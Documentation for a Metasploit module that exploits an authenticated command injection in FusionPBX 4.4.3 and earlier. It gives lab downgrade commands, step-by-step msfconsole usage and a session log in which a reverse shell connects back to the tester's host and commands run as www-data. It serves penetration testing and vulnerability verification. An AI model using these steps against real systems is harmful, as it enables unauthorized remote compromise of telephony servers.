## Description

  This module exploits an authenticated command injection vulnerability
  in FusionPBX versions 4.4.3 and prior.

  The `exec.php` file within the Operator Panel permits users with
  `operator_panel_view` permissions, or administrator permissions,
  to execute arbitrary commands as the web server user by sending
  a `system` command to the FreeSWITCH event socket interface.


## Vulnerable Software

  This module has been tested successfully on FusionPBX version
  4.4.1 on Ubuntu 19.04 (x64).

  Software:

  * https://www.fusionpbx.com/download
  * https://github.com/fusionpbx/fusionpbx/releases

  At time of writing, a vulnerable version can be tested by using
  the relevant install script for the target platform from the download
  link above, which automatically installs all required dependencies,
  including FreeSWITCH and the latest version of FusionPBX.

  The version of FusionPBX can then be downgraded to a vulnerable version
  by replacing the web root directory with the contents of a vulnerable
  version, such as version 4.4.1, from the GitHub releases link above.

  On Ubuntu, downgrading can be performed as follows:

  ```
  mv /var/www/fusionpbx /var/www/fusionpbx-latest
  mkdir ~/hackyhackhack/ && cd ~/hackyhackhack/
  wget https://github.com/fusionpbx/fusionpbx/archive/4.4.1.zip
  unzip 4.4.1.zip
  mv fusionpbx-4.4.1 /var/www/fusionpbx
  ```

  In the future, downgrading may not be as simple as replacing the web
  root directory contents.


## Verification Steps

  1. Start `msfconsole`
  2. Do: `use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec`
  3. Do: `set rhosts <IP>`
  4. Do: `set username <username>`
  5. Do: `set password <password>`
  6. Do: `run`
  7. You should get a new session


## Options

### TARGETURI

  The base path to FusionPBX (default: `/`)

### USERNAME

  The username for FusionPBX

### PASSWORD

  The password for FusionPBX


## Scenarios

  ```
  msf > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec 
  msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214
  rhosts => 172.16.191.214
  msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test
  username => test
  msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46!
  password => wBXxcY4LTAsMd46!
  msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run

  [*] Started reverse TCP double handler on 172.16.191.165:4444 
  [+] Authenticated as user 'test'
  [*] Sending payload (295 bytes) ...
  [*] Accepted the first client connection...
  [*] Accepted the second client connection...
  [*] Command: echo ULzaVUoa3XPSZANH;
  [*] Writing to socket A
  [*] Writing to socket B
  [*] Reading from sockets...
  [*] Reading from socket A
  [*] A: "ULzaVUoa3XPSZANH\r\n"
  [*] Matching...
  [*] B is input...
  [*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.214:57626) at 2019-11-01 15:54:42 -0400

  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  pwd
  /
  uname -a
  Linux ubuntu-19-04-x64 5.0.0-32-generic #34-Ubuntu SMP Wed Oct 2 02:06:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  ```

